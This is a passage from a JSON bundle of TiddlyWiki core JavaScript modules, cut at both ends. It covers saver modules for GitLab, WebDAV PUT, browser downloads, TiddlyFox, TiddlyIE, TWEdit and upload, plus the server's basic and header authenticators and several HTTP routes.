callback(err);\n\t\t\t\t\t}\n\t\t\t\t\tvar putResponseData = JSON.parse(putResponseDataJson);\n\t\t\t\t\tcallback(null);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nGitHubSaver.prototype.info = {\n\tname: \"github\",\n\tpriority: 2000,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new GitHubSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/gitlab.js": {
"title": "$:/core/modules/savers/gitlab.js",
"text": "/*\\\ntitle: $:/core/modules/savers/gitlab.js\ntype: application/javascript\nmodule-type: saver\n\nSaves wiki by pushing a commit to the GitLab REST API\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: true */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar GitLabSaver = function(wiki) {\n\tthis.wiki = wiki;\n};\n\nGitLabSaver.prototype.save = function(text,method,callback) {\n\t/* See https://docs.gitlab.com/ee/api/repository_files.html */\n\tvar self = this,\n\t\tusername = this.wiki.getTiddlerText(\"$:/GitLab/Username\"),\n\t\tpassword = $tw.utils.getPassword(\"gitlab\"),\n\t\trepo = this.wiki.getTiddlerText(\"$:/GitLab/Repo\"),\n\t\tpath = this.wiki.getTiddlerText(\"$:/GitLab/Path\",\"\"),\n\t\tfilename = this.wiki.getTiddlerText(\"$:/GitLab/Filename\"),\n\t\tbranch = this.wiki.getTiddlerText(\"$:/GitLab/Branch\") || \"master\",\n\t\tendpoint = this.wiki.getTiddlerText(\"$:/GitLab/ServerURL\") || \"https://gitlab.com/api/v4\",\n\t\theaders = {\n\t\t\t\"Content-Type\": \"application/json;charset=UTF-8\",\n\t\t\t\"Private-Token\": password\n\t\t};\n\t// Bail if we don't have everything we need\n\tif(!username || !password || !repo || !path || !filename) {\n\t\treturn false;\n\t}\n\t// Make sure the path start and ends with a slash\n\tif(path.substring(0,1) !== \"/\") {\n\t\tpath = \"/\" + path;\n\t}\n\tif(path.substring(path.length - 1) !== \"/\") {\n\t\tpath = path + \"/\";\n\t}\n\t// Compose the base URI\n\tvar uri = endpoint + \"/projects/\" + encodeURIComponent(repo) + \"/repository/\";\n\t// Perform a get request to get the details (inc shas) of files in the same path as our file\n\t$tw.utils.httpRequest({\n\t\turl: uri + \"tree/?path=\" + encodeURIComponent(path.replace(/^\\/+|\\/$/g, '')) + \"&branch=\" + encodeURIComponent(branch.replace(/^\\/+|\\/$/g, '')),\n\t\ttype: \"GET\",\n\t\theaders: headers,\n\t\tcallback: function(err,getResponseDataJson,xhr) {\n\t\t\tvar getResponseData,sha = \"\";\n\t\t\tif(err && xhr.status !== 404) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tvar requestType = \"POST\";\n\t\t\tif(xhr.status !== 404) {\n\t\t\t\tgetResponseData = JSON.parse(getResponseDataJson);\n\t\t\t\t$tw.utils.each(getResponseData,function(details) {\n\t\t\t\t\tif(details.name === filename) {\n\t\t\t\t\t\trequestType = \"PUT\";\n\t\t\t\t\t\tsha = details.sha;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\tvar data = {\n\t\t\t\tcommit_message: $tw.language.getRawString(\"ControlPanel/Saving/GitService/CommitMessage\"),\n\t\t\t\tcontent: text,\n\t\t\t\tbranch: branch,\n\t\t\t\tsha: sha\n\t\t\t};\n\t\t\t// Perform a request to save the file\n\t\t\t$tw.utils.httpRequest({\n\t\t\t\turl: uri + \"files/\" + encodeURIComponent(path.replace(/^\\/+/, '') + filename),\n\t\t\t\ttype: requestType,\n\t\t\t\theaders: headers,\n\t\t\t\tdata: JSON.stringify(data),\n\t\t\t\tcallback: function(err,putResponseDataJson,xhr) {\n\t\t\t\t\tif(err) {\n\t\t\t\t\t\treturn callback(err);\n\t\t\t\t\t}\n\t\t\t\t\tvar putResponseData = JSON.parse(putResponseDataJson);\n\t\t\t\t\tcallback(null);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nGitLabSaver.prototype.info = {\n\tname: \"gitlab\",\n\tpriority: 2000,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new GitLabSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/manualdownload.js": {
"title": "$:/core/modules/savers/manualdownload.js",
"text": "/*\\\ntitle: $:/core/modules/savers/manualdownload.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via HTML5's download APIs\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Title of the tiddler containing the download message\nvar downloadInstructionsTitle = \"$:/language/Modals/Download\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar ManualDownloadSaver = function(wiki) {\n};\n\nManualDownloadSaver.prototype.save = function(text,method,callback) {\n\t$tw.modal.display(downloadInstructionsTitle,{\n\t\tdownloadLink: \"data:text/html,\" + encodeURIComponent(text)\n\t});\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nManualDownloadSaver.prototype.info = {\n\tname: \"manualdownload\",\n\tpriority: 0,\n\tcapabilities: [\"save\", \"download\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new ManualDownloadSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/msdownload.js": {
"title": "$:/core/modules/savers/msdownload.js",
"text": "/*\\\ntitle: $:/core/modules/savers/msdownload.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via window.navigator.msSaveBlob()\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar MsDownloadSaver = function(wiki) {\n};\n\nMsDownloadSaver.prototype.save = function(text,method,callback) {\n\t// Get the current filename\n\tvar filename = \"tiddlywiki.html\",\n\t\tp = document.location.pathname.lastIndexOf(\"/\");\n\tif(p !== -1) {\n\t\tfilename = document.location.pathname.substr(p+1);\n\t}\n\t// Set up the link\n\tvar blob = new Blob([text], {type: \"text/html\"});\n\twindow.navigator.msSaveBlob(blob,filename);\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nMsDownloadSaver.prototype.info = {\n\tname: \"msdownload\",\n\tpriority: 110,\n\tcapabilities: [\"save\", \"download\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn !!window.navigator.msSaveBlob;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new MsDownloadSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/put.js": {
"title": "$:/core/modules/savers/put.js",
"text": "/*\\\ntitle: $:/core/modules/savers/put.js\ntype: application/javascript\nmodule-type: saver\n\nSaves wiki by performing a PUT request to the server\n\nWorks with any server which accepts a PUT request\nto the current URL, such as a WebDAV server.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nRetrieve ETag if available\n*/\nvar retrieveETag = function(self) {\n\tvar headers = {\n\t\tAccept: \"*/*;charset=UTF-8\"\n\t};\n\t$tw.utils.httpRequest({\n\t\turl: self.uri(),\n\t\ttype: \"HEAD\",\n\t\theaders: headers,\n\t\tcallback: function(err,data,xhr) {\n\t\t\tif(err) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar etag = xhr.getResponseHeader(\"ETag\");\n\t\t\tif(!etag) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tself.etag = etag.replace(/^W\\//,\"\");\n\t\t}\n\t});\n};\n\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar PutSaver = function(wiki) {\n\tthis.wiki = wiki;\n\tvar self = this;\n\tvar uri = this.uri();\n\t// Async server probe. Until probe finishes, save will fail fast\n\t// See also https://github.com/Jermolene/TiddlyWiki5/issues/2276\n\t$tw.utils.httpRequest({\n\t\turl: uri,\n\t\ttype: \"OPTIONS\",\n\t\tcallback: function(err,data,xhr) {\n\t\t\t// Check DAV header http://www.webdav.org/specs/rfc2518.html#rfc.section.9.1\n\t\t\tif(!err) {\n\t\t\t\tself.serverAcceptsPuts = xhr.status === 200 && !!xhr.getResponseHeader(\"dav\");\n\t\t\t}\n\t\t}\n\t});\n\tretrieveETag(this);\n};\n\nPutSaver.prototype.uri = function() {\n\treturn document.location.toString().split(\"#\")[0];\n};\n\n// TODO: in case of edit conflict\n// Prompt: Do you want to save over this? Y/N\n// Merging would be ideal, and may be possible using future generic merge flow\nPutSaver.prototype.save = function(text,method,callback) {\n\tif(!this.serverAcceptsPuts) {\n\t\treturn false;\n\t}\n\tvar self = this;\n\tvar headers = {\n\t\t\"Content-Type\": \"text/html;charset=UTF-8\"\n\t};\n\tif(this.etag) {\n\t\theaders[\"If-Match\"] = this.etag;\n\t}\n\t$tw.utils.httpRequest({\n\t\turl: this.uri(),\n\t\ttype: \"PUT\",\n\t\theaders: headers,\n\t\tdata: text,\n\t\tcallback: function(err,data,xhr) {\n\t\t\tif(err) {\n\t\t\t\t// response is textual: \"XMLHttpRequest error code: 412\"\n\t\t\t\tvar status = Number(err.substring(err.indexOf(':') + 2, err.length))\n\t\t\t\tif(status === 412) { // edit conflict\n\t\t\t\t\tvar message = $tw.language.getString(\"Error/EditConflict\");\n\t\t\t\t\tcallback(message);\n\t\t\t\t} else {\n\t\t\t\t\tcallback(err); // fail\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tself.etag = xhr.getResponseHeader(\"ETag\");\n\t\t\t\tif(self.etag == null) {\n\t\t\t\t\tretrieveETag(self);\n\t\t\t\t}\n\t\t\t\tcallback(null); // success\n\t\t\t}\n\t\t}\n\t});\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nPutSaver.prototype.info = {\n\tname: \"put\",\n\tpriority: 2000,\n\tcapabilities: [\"save\",\"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn /^https?:/.test(location.protocol);\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new PutSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/tiddlyfox.js": {
"title": "$:/core/modules/savers/tiddlyfox.js",
"text": "/*\\\ntitle: $:/core/modules/savers/tiddlyfox.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via the TiddlyFox file extension\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false, netscape: false, Components: false */\n\"use strict\";\n\nvar TiddlyFoxSaver = function(wiki) {\n};\n\nTiddlyFoxSaver.prototype.save = function(text,method,callback) {\n\tvar messageBox = document.getElementById(\"tiddlyfox-message-box\");\n\tif(messageBox) {\n\t\t// Get the pathname of this document\n\t\tvar pathname = document.location.toString().split(\"#\")[0];\n\t\t// Replace file://localhost/ with file:///\n\t\tif(pathname.indexOf(\"file://localhost/\") === 0) {\n\t\t\tpathname = \"file://\" + pathname.substr(16);\n\t\t}\n\t\t// Windows path file:///x:/blah/blah --> x:\\blah\\blah\n\t\tif(/^file\\:\\/\\/\\/[A-Z]\\:\\//i.test(pathname)) {\n\t\t\t// Remove the leading slash and convert slashes to backslashes\n\t\t\tpathname = pathname.substr(8).replace(/\\//g,\"\\\\\");\n\t\t// Firefox Windows network path file://///server/share/blah/blah --> //server/share/blah/blah\n\t\t} else if(pathname.indexOf(\"file://///\") === 0) {\n\t\t\tpathname = \"\\\\\\\\\" + unescape(pathname.substr(10)).replace(/\\//g,\"\\\\\");\n\t\t// Mac/Unix local path file:///path/path --> /path/path\n\t\t} else if(pathname.indexOf(\"file:///\") === 0) {\n\t\t\tpathname = unescape(pathname.substr(7));\n\t\t// Mac/Unix local path file:/path/path --> /path/path\n\t\t} else if(pathname.indexOf(\"file:/\") === 0) {\n\t\t\tpathname = unescape(pathname.substr(5));\n\t\t// Otherwise Windows networth path file://server/share/path/path --> \\\\server\\share\\path\\path\n\t\t} else {\n\t\t\tpathname = \"\\\\\\\\\" + unescape(pathname.substr(7)).replace(new RegExp(\"/\",\"g\"),\"\\\\\");\n\t\t}\n\t\t// Create the message element and put it in the message box\n\t\tvar message = document.createElement(\"div\");\n\t\tmessage.setAttribute(\"data-tiddlyfox-path\",decodeURIComponent(pathname));\n\t\tmessage.setAttribute(\"data-tiddlyfox-content\",text);\n\t\tmessageBox.appendChild(message);\n\t\t// Add an event handler for when the file has been saved\n\t\tmessage.addEventListener(\"tiddlyfox-have-saved-file\",function(event) {\n\t\t\tcallback(null);\n\t\t}, false);\n\t\t// Create and dispatch the custom event to the extension\n\t\tvar event = document.createEvent(\"Events\");\n\t\tevent.initEvent(\"tiddlyfox-save-file\",true,false);\n\t\tmessage.dispatchEvent(event);\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n};\n\n/*\nInformation about this saver\n*/\nTiddlyFoxSaver.prototype.info = {\n\tname: \"tiddlyfox\",\n\tpriority: 1500,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new TiddlyFoxSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/tiddlyie.js": {
"title": "$:/core/modules/savers/tiddlyie.js",
"text": "/*\\\ntitle: $:/core/modules/savers/tiddlyie.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via Internet Explorer BHO extenion (TiddlyIE)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar TiddlyIESaver = function(wiki) {\n};\n\nTiddlyIESaver.prototype.save = function(text,method,callback) {\n\t// Check existence of TiddlyIE BHO extension (note: only works after document is complete)\n\tif(typeof(window.TiddlyIE) != \"undefined\") {\n\t\t// Get the pathname of this document\n\t\tvar pathname = unescape(document.location.pathname);\n\t\t// Test for a Windows path of the form /x:/blah...\n\t\tif(/^\\/[A-Z]\\:\\/[^\\/]+/i.test(pathname)) {\t// ie: ^/[a-z]:/[^/]+ (is this better?: ^/[a-z]:/[^/]+(/[^/]+)*\\.[^/]+ )\n\t\t\t// Remove the leading slash\n\t\t\tpathname = pathname.substr(1);\n\t\t\t// Convert slashes to backslashes\n\t\t\tpathname = pathname.replace(/\\//g,\"\\\\\");\n\t\t} else if(document.hostname !== \"\" && /^\\/[^\\/]+\\/[^\\/]+/i.test(pathname)) {\t// test for \\\\server\\share\\blah... - ^/[^/]+/[^/]+\n\t\t\t// Convert slashes to backslashes\n\t\t\tpathname = pathname.replace(/\\//g,\"\\\\\");\n\t\t\t// reconstruct UNC path\n\t\t\tpathname = \"\\\\\\\\\" + document.location.hostname + pathname;\n\t\t} else return false;\n\t\t// Prompt the user to save the file\n\t\twindow.TiddlyIE.save(pathname, text);\n\t\t// Callback that we succeeded\n\t\tcallback(null);\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n};\n\n/*\nInformation about this saver\n*/\nTiddlyIESaver.prototype.info = {\n\tname: \"tiddlyiesaver\",\n\tpriority: 1500,\n\tcapabilities: [\"save\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn (window.location.protocol === \"file:\");\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new TiddlyIESaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/twedit.js": {
"title": "$:/core/modules/savers/twedit.js",
"text": "/*\\\ntitle: $:/core/modules/savers/twedit.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via the TWEdit iOS app\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false, netscape: false, Components: false */\n\"use strict\";\n\nvar TWEditSaver = function(wiki) {\n};\n\nTWEditSaver.prototype.save = function(text,method,callback) {\n\t// Bail if we're not running under TWEdit\n\tif(typeof DeviceInfo !== \"object\") {\n\t\treturn false;\n\t}\n\t// Get the pathname of this document\n\tvar pathname = decodeURIComponent(document.location.pathname);\n\t// Strip any query or location part\n\tvar p = pathname.indexOf(\"?\");\n\tif(p !== -1) {\n\t\tpathname = pathname.substr(0,p);\n\t}\n\tp = pathname.indexOf(\"#\");\n\tif(p !== -1) {\n\t\tpathname = pathname.substr(0,p);\n\t}\n\t// Remove the leading \"/Documents\" from path\n\tvar prefix = \"/Documents\";\n\tif(pathname.indexOf(prefix) === 0) {\n\t\tpathname = pathname.substr(prefix.length);\n\t}\n\t// Error handler\n\tvar errorHandler = function(event) {\n\t\t// Error\n\t\tcallback($tw.language.getString(\"Error/SavingToTWEdit\") + \": \" + event.target.error.code);\n\t};\n\t// Get the file system\n\twindow.requestFileSystem(LocalFileSystem.PERSISTENT,0,function(fileSystem) {\n\t\t// Now we've got the filesystem, get the fileEntry\n\t\tfileSystem.root.getFile(pathname, {create: true}, function(fileEntry) {\n\t\t\t// Now we've got the fileEntry, create the writer\n\t\t\tfileEntry.createWriter(function(writer) {\n\t\t\t\twriter.onerror = errorHandler;\n\t\t\t\twriter.onwrite = function() {\n\t\t\t\t\tcallback(null);\n\t\t\t\t};\n\t\t\t\twriter.position = 0;\n\t\t\t\twriter.write(text);\n\t\t\t},errorHandler);\n\t\t}, errorHandler);\n\t}, errorHandler);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nTWEditSaver.prototype.info = {\n\tname: \"twedit\",\n\tpriority: 1600,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new TWEditSaver(wiki);\n};\n\n/////////////////////////// Hack\n// HACK: This ensures that TWEdit recognises us as a TiddlyWiki document\nif($tw.browser) {\n\twindow.version = {title: \"TiddlyWiki\"};\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/upload.js": {
"title": "$:/core/modules/savers/upload.js",
"text": "/*\\\ntitle: $:/core/modules/savers/upload.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via upload to a server.\n\nDesigned to be compatible with BidiX's UploadPlugin at http://tiddlywiki.bidix.info/#UploadPlugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar UploadSaver = function(wiki) {\n\tthis.wiki = wiki;\n};\n\nUploadSaver.prototype.save = function(text,method,callback) {\n\t// Get the various parameters we need\n\tvar backupDir = this.wiki.getTextReference(\"$:/UploadBackupDir\") || \".\",\n\t\tusername = this.wiki.getTextReference(\"$:/UploadName\"),\n\t\tpassword = $tw.utils.getPassword(\"upload\"),\n\t\tuploadDir = this.wiki.getTextReference(\"$:/UploadDir\") || \".\",\n\t\tuploadFilename = this.wiki.getTextReference(\"$:/UploadFilename\") || \"index.html\",\n\t\turl = this.wiki.getTextReference(\"$:/UploadURL\");\n\t// Bail out if we don't have the bits we need\n\tif(!username || username.toString().trim() === \"\" || !password || password.toString().trim() === \"\") {\n\t\treturn false;\n\t}\n\t// Construct the url if not provided\n\tif(!url) {\n\t\turl = \"http://\" + username + \".tiddlyspot.com/store.cgi\";\n\t}\n\t// Assemble the header\n\tvar boundary = \"---------------------------\" + \"AaB03x\";\t\n\tvar uploadFormName = \"UploadPlugin\";\n\tvar head = [];\n\thead.push(\"--\" + boundary + \"\\r\\nContent-disposition: form-data; name=\\\"UploadPlugin\\\"\\r\\n\");\n\thead.push(\"backupDir=\" + backupDir + \";user=\" + username + \";password=\" + password + \";uploaddir=\" + uploadDir + \";;\"); \n\thead.push(\"\\r\\n\" + \"--\" + boundary);\n\thead.push(\"Content-disposition: form-data; name=\\\"userfile\\\"; filename=\\\"\" + uploadFilename + \"\\\"\");\n\thead.push(\"Content-Type: text/html;charset=UTF-8\");\n\thead.push(\"Content-Length: \" + text.length + \"\\r\\n\");\n\thead.push(\"\");\n\t// Assemble the tail and the data itself\n\tvar tail = \"\\r\\n--\" + boundary + \"--\\r\\n\",\n\t\tdata = head.join(\"\\r\\n\") + text + tail;\n\t// Do the HTTP post\n\tvar http = new XMLHttpRequest();\n\thttp.open(\"POST\",url,true,username,password);\n\thttp.setRequestHeader(\"Content-Type\",\"multipart/form-data; charset=UTF-8; boundary=\" + boundary);\n\thttp.onreadystatechange = function() {\n\t\tif(http.readyState == 4 && http.status == 200) {\n\t\t\tif(http.responseText.substr(0,4) === \"0 - \") {\n\t\t\t\tcallback(null);\n\t\t\t} else {\n\t\t\t\tcallback(http.responseText);\n\t\t\t}\n\t\t}\n\t};\n\ttry {\n\t\thttp.send(data);\n\t} catch(ex) {\n\t\treturn callback($tw.language.getString(\"Error/Caption\") + \":\" + ex);\n\t}\n\t$tw.notifier.display(\"$:/language/Notifications/Save/Starting\");\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nUploadSaver.prototype.info = {\n\tname: \"upload\",\n\tpriority: 2000,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new UploadSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/server/authenticators/basic.js": {
"title": "$:/core/modules/server/authenticators/basic.js",
"text": "/*\\\ntitle: $:/core/modules/server/authenticators/basic.js\ntype: application/javascript\nmodule-type: authenticator\n\nAuthenticator for WWW basic authentication\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nif($tw.node) {\n\tvar util = require(\"util\"),\n\t\tfs = require(\"fs\"),\n\t\turl = require(\"url\"),\n\t\tpath = require(\"path\");\n}\n\nfunction BasicAuthenticator(server) {\n\tthis.server = server;\n\tthis.credentialsData = [];\n}\n\n/*\nReturns true if the authenticator is active, false if it is inactive, or a string if there is an error\n*/\nBasicAuthenticator.prototype.init = function() {\n\t// Read the credentials data\n\tthis.credentialsFilepath = this.server.get(\"credentials\");\n\tif(this.credentialsFilepath) {\n\t\tvar resolveCredentialsFilepath = path.resolve($tw.boot.wikiPath,this.credentialsFilepath);\n\t\tif(fs.existsSync(resolveCredentialsFilepath) && !fs.statSync(resolveCredentialsFilepath).isDirectory()) {\n\t\t\tvar credentialsText = fs.readFileSync(resolveCredentialsFilepath,\"utf8\"),\n\t\t\t\tcredentialsData = $tw.utils.parseCsvStringWithHeader(credentialsText);\n\t\t\tif(typeof credentialsData === \"string\") {\n\t\t\t\treturn \"Error: \" + credentialsData + \" reading credentials from '\" + resolveCredentialsFilepath + \"'\";\n\t\t\t} else {\n\t\t\t\tthis.credentialsData = credentialsData;\n\t\t\t}\n\t\t} else {\n\t\t\treturn \"Error: Unable to load user credentials from '\" + resolveCredentialsFilepath + \"'\";\n\t\t}\n\t}\n\t// Add the hardcoded username and password if specified\n\tif(this.server.get(\"username\") && this.server.get(\"password\")) {\n\t\tthis.credentialsData = this.credentialsData || [];\n\t\tthis.credentialsData.push({\n\t\t\tusername: this.server.get(\"username\"),\n\t\t\tpassword: this.server.get(\"password\")\n\t\t});\n\t}\n\treturn this.credentialsData.length > 0;\n};\n\n/*\nReturns true if the request is authenticated and assigns the \"authenticatedUsername\" state variable.\nReturns false if the request couldn't be authenticated having sent an appropriate response to the browser\n*/\nBasicAuthenticator.prototype.authenticateRequest = function(request,response,state) {\n\t// Extract the incoming username and password from the request\n\tvar header = request.headers.authorization || \"\";\n\tif(!header && state.allowAnon) {\n\t\t// If there's no header and anonymous access is allowed then we don't set authenticatedUsername\n\t\treturn true;\n\t}\n\tvar token = header.split(/\\s+/).pop() || \"\",\n\t\tauth = $tw.utils.base64Decode(token),\n\t\tparts = auth.split(/:/),\n\t\tincomingUsername = parts[0],\n\t\tincomingPassword = parts[1];\n\t// Check that at least one of the credentials matches\n\tvar matchingCredentials = this.credentialsData.find(function(credential) {\n\t\treturn credential.username === incomingUsername && credential.password === incomingPassword;\n\t});\n\tif(matchingCredentials) {\n\t\t// If so, add the authenticated username to the request state\n\t\tstate.authenticatedUsername = incomingUsername;\n\t\treturn true;\n\t} else {\n\t\t// If not, return an authentication challenge\n\t\tresponse.writeHead(401,\"Authentication required\",{\n\t\t\t\"WWW-Authenticate\": 'Basic realm=\"Please provide your username and password to login to ' + state.server.servername + '\"'\n\t\t});\n\t\tresponse.end();\n\t\treturn false;\n\t}\n};\n\nexports.AuthenticatorClass = BasicAuthenticator;\n\n})();\n",
"type": "application/javascript",
"module-type": "authenticator"
},
"$:/core/modules/server/authenticators/header.js": {
"title": "$:/core/modules/server/authenticators/header.js",
"text": "/*\\\ntitle: $:/core/modules/server/authenticators/header.js\ntype: application/javascript\nmodule-type: authenticator\n\nAuthenticator for trusted header authentication\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction HeaderAuthenticator(server) {\n\tthis.server = server;\n\tthis.header = server.get(\"authenticated-user-header\");\n}\n\n/*\nReturns true if the authenticator is active, false if it is inactive, or a string if there is an error\n*/\nHeaderAuthenticator.prototype.init = function() {\n\treturn !!this.header;\n};\n\n/*\nReturns true if the request is authenticated and assigns the \"authenticatedUsername\" state variable.\nReturns false if the request couldn't be authenticated having sent an appropriate response to the browser\n*/\nHeaderAuthenticator.prototype.authenticateRequest = function(request,response,state) {\n\t// Otherwise, authenticate as the username in the specified header\n\tvar username = request.headers[this.header];\n\tif(!username && !state.allowAnon) {\n\t\tresponse.writeHead(401,\"Authorization header required to login to '\" + state.server.servername + \"'\");\n\t\tresponse.end();\n\t\treturn false;\n\t} else {\n\t\t// authenticatedUsername will be undefined for anonymous users\n\t\tstate.authenticatedUsername = username;\n\t\treturn true;\n\t}\n};\n\nexports.AuthenticatorClass = HeaderAuthenticator;\n\n})();\n",
"type": "application/javascript",
"module-type": "authenticator"
},
"$:/core/modules/server/routes/delete-tiddler.js": {
"title": "$:/core/modules/server/routes/delete-tiddler.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/delete-tiddler.js\ntype: application/javascript\nmodule-type: route\n\nDELETE /recipes/default/tiddlers/:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"DELETE\";\n\nexports.path = /^\\/bags\\/default\\/tiddlers\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]);\n\tstate.wiki.deleteTiddler(title);\n\tresponse.writeHead(204, \"OK\", {\n\t\t\"Content-Type\": \"text/plain\"\n\t});\n\tresponse.end();\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-favicon.js": {
"title": "$:/core/modules/server/routes/get-favicon.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-favicon.js\ntype: application/javascript\nmodule-type: route\n\nGET /favicon.ico\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/favicon.ico$/;\n\nexports.handler = function(request,response,state) {\n\tresponse.writeHead(200, {\"Content-Type\": \"image/x-icon\"});\n\tvar buffer = state.wiki.getTiddlerText(\"$:/favicon.ico\",\"\");\n\tresponse.end(buffer,\"base64\");\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-file.js": {
"title": "$:/core/modules/server/routes/get-file.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-file.js\ntype: application/javascript\nmodule-type: route\n\nGET /files/:filepath\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/files\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar path = require(\"path\"),\n\t\tfs = require(\"fs\"),\n\t\tutil = require(\"util\"),\n\t\tsuppliedFilename = decodeURIComponent(state.params[0]),\n\t\tfilename = path.resolve($tw.boot.wikiPath,\"files\",suppliedFilename),\n\t\textension = path.extname(filename);\n\tfs.readFile(filename,function(err,content) {\n\t\tvar status,content,type = \"text/plain\";\n\t\tif(err) {\n\t\t\tconsole.log(\"Error accessing file \" + filename + \": \" + err.toString());\n\t\t\tstatus = 404;\n\t\t\tcontent = \"File '\" + suppliedFilename + \"' not found\";\n\t\t} else {\n\t\t\tstatus = 200;\n\t\t\tcontent = content;\n\t\t\ttype = 